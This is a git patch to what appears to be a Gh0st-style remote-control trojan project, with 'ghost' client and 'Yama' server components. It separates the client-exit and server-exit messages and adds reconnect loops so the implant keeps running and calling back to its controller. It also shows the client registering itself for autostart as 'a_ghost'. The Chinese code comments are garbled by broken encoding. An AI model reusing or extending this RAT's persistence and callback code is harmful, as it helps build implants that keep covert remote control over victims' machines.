From 953d298c1cfd96a412380f62942979fe15d2b703 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 15 Apr 2019 16:24:32 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8C=BA=E5=88=86=E5=BC=80=E9=80=80=E5=87=BA?= =?UTF-8?q?=E4=B8=BB=E6=8E=A7=E7=AB=AF=E5=92=8C=E8=A2=AB=E6=8E=A7=E7=AB=AF?= =?UTF-8?q?2=E4=B8=AA=E6=B6=88=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。 明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。 --- ReadMe.txt | 8 +++++++ client/ClientDll.cpp | 25 ++++++++++++++++------ client/Common.h | 3 ++- client/IOCPClient.cpp | 6 +++--- client/KernelManager.cpp | 18 +++++++++++++--- client/Manager.h | 2 +- client/Script.rc | 4 ++-- client/test.cpp | 33 +++++++++++++++++++++++------ server/2015Remote/2015RemoteDlg.cpp | 2 +- server/2015Remote/2015RemoteDlg.h | 7 ++++++ server/2015Remote/stdafx.h | 3 ++- 11 files changed, 87 insertions(+), 24 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index b8d7c78..c2bb4f3 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -181,3 +181,11 @@ 2019.4.4 ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。 + +2019.4.14 + +在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。 + +2019.4.15 + +明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index b6ac148..979581c 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -9,10 +9,15 @@ #include "KernelManager.h" using namespace std; +// Զ̵ַ char g_szServerIP[MAX_PATH] = {0}; unsigned short g_uPort = 0; -bool g_bExit = false; -bool g_bThreadExit = false; + +// Ӧó״̬1-ض˳ 2-ض˳ +BOOL g_bExit = 0; +// ߳״̬ +BOOL g_bThreadExit = 0; + HINSTANCE g_hInstance = NULL; DWORD WINAPI StartClient(LPVOID lParam); @@ -60,10 +65,14 @@ int main(int argc, const char *argv[]) memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); g_uPort = uPort; - HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + do{ + g_bExit = 0; + HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + }while (E_RUN == status && 1 != g_bExit); - WaitForSingleObject(hThread, INFINITE); - CloseHandle(hThread); status = E_STOP; CloseHandle(hMutex); @@ -94,6 +103,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, // һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { + g_bExit = false; memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); g_uPort = uPort; @@ -109,16 +119,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) // ֹͣ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } - // Ƿɹֹͣ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } +// Ƿ˳ͻ +extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; } + #endif DWORD WINAPI StartClient(LPVOID lParam) { IOCPClient *ClientObject = new IOCPClient(); + g_bThreadExit = false; while (!g_bExit) { DWORD dwTickCount = GetTickCount(); diff --git a/client/Common.h b/client/Common.h index 571c0ea..90dbca6 100644 --- a/client/Common.h +++ b/client/Common.h @@ -118,7 +118,8 @@ enum COMMAND_REG_FIND, //ע ʶ TOKEN_REG_KEY, TOKEN_REG_PATH, - COMMAND_BYE + COMMAND_BYE, // ض˳ + SERVER_EXIT, // ض˳ }; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 968d961..7bd5661 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -180,9 +180,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) if (This->m_Manager->m_bIsDead) { printf("****** Recv bye bye ******\n"); - // ˳ͻ - extern bool g_bExit; - g_bExit = true; + // Ƿ˳ͻ˺ضˣ˳ͻ + extern BOOL g_bExit; + g_bExit = This->m_Manager->m_bIsDead; break; } } diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7cbb705..5a65877 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -74,10 +74,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_BYE: { - BYTE bToken = COMMAND_BYE; //ͷļ Common.h + BYTE bToken = COMMAND_BYE;// ض˳ m_ClientObject->OnServerSending((char*)&bToken, 1); - m_bIsDead = true; //say goodbye - OutputDebugStringA("======> Bye bye \n"); + m_bIsDead = 1; + OutputDebugStringA("======> Client exit \n"); + m_hThread[m_ulThreadCount].p = NULL; + delete pNew; + pNew = NULL; + break; + } + + case SERVER_EXIT: + { + BYTE bToken = SERVER_EXIT;// ض˳ + m_ClientObject->OnServerSending((char*)&bToken, 1); + m_bIsDead = 2; + OutputDebugStringA("======> Server exit \n"); m_hThread[m_ulThreadCount].p = NULL; delete pNew; pNew = NULL; diff --git a/client/Manager.h b/client/Manager.h index 7a0aceb..b535680 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -14,7 +14,7 @@ class IOCPClient; class CManager { public: - bool m_bIsDead; // bye-bye + BOOL m_bIsDead; // 1-ض˳ 2-ض˳ CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/Script.rc b/client/Script.rc index 046cdfa..8f489a7 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -106,9 +106,9 @@ BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" VALUE "FileVersion", "1.0.0.5" - VALUE "InternalName", "ServerDl.dll" + VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" - VALUE "OriginalFilename", "ServerDl.dll" + VALUE "OriginalFilename", "ServerDll.dll" VALUE "ProductName", "A GHOST" VALUE "ProductVersion", "1.0.0.1" END diff --git a/client/test.cpp b/client/test.cpp index 9f42018..07ee423 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -12,6 +12,11 @@ StopRun stop = NULL; // Ƿɹֹͣ IsStoped bStop = NULL; +// Ƿ˳ض +IsStoped bExit = NULL; + +BOOL status = 0; + struct CONNECT_ADDRESS { DWORD dwFlag; @@ -50,12 +55,26 @@ BOOL SetSelfStart(const char *sPath, const char *sNmae) return lRet == ERROR_SUCCESS; } +BOOL CALLBACK callback(DWORD CtrlType) +{ + if (CtrlType == CTRL_CLOSE_EVENT) + { + status = 1; + if(stop) stop(); + while(1==status) + Sleep(20); + } + return TRUE; +} + int main(int argc, const char *argv[]) { if(!SetSelfStart(argv[0], "a_ghost")) { std::cout<<"ÿʧ.\n"; } + status = 0; + SetConsoleCtrlHandler(&callback, TRUE); char path[_MAX_PATH], *p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; @@ -66,6 +85,7 @@ int main(int argc, const char *argv[]) TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; + bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL; if (run) { char *ip = g_ConnectAddress.szServerIP; @@ -77,12 +97,13 @@ int main(int argc, const char *argv[]) port = GetPrivateProfileIntA("remote", "port", 2356, path); } printf("[remote] %s:%d\n", ip, port); - run(ip, port); -#ifdef _DEBUG - while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } } - if (stop) stop(); - while(bStop && !bStop()) Sleep(200); -#endif + do + { + run(ip, port); + while(bStop && !bStop() && 0 == status) + Sleep(20); + } while (bExit && !bExit() && 0 == status); } + status = 0; return -1; } diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 41531e9..09dffab 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -539,7 +539,7 @@ void CMy2015RemoteDlg::OnClose() Shell_NotifyIcon(NIM_DELETE, &m_Nid); #endif - BYTE bToken = COMMAND_BYE; + BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT; int n = m_CList_Online.GetItemCount(); for(int Pos = 0; Pos < n; ++Pos) { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index eb993a7..cb66bfa 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -14,6 +14,13 @@ ////////////////////////////////////////////////////////////////////////// +#if INDEPENDENT +// Ƿ˳ضʱҲ˳ͻ +#define CLIENT_EXIT_WITH_SERVER 0 +#else +#define CLIENT_EXIT_WITH_SERVER 1 +#endif + typedef struct _LOGIN_INFOR { BYTE bToken; // ȡ1½Ϣ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index bfbc39d..1fa19cc 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -168,7 +168,8 @@ enum COMMAND_REG_FIND, //ע ʶ TOKEN_REG_KEY, TOKEN_REG_PATH, - COMMAND_BYE + COMMAND_BYE, // ض˳ + SERVER_EXIT, // ض˳ };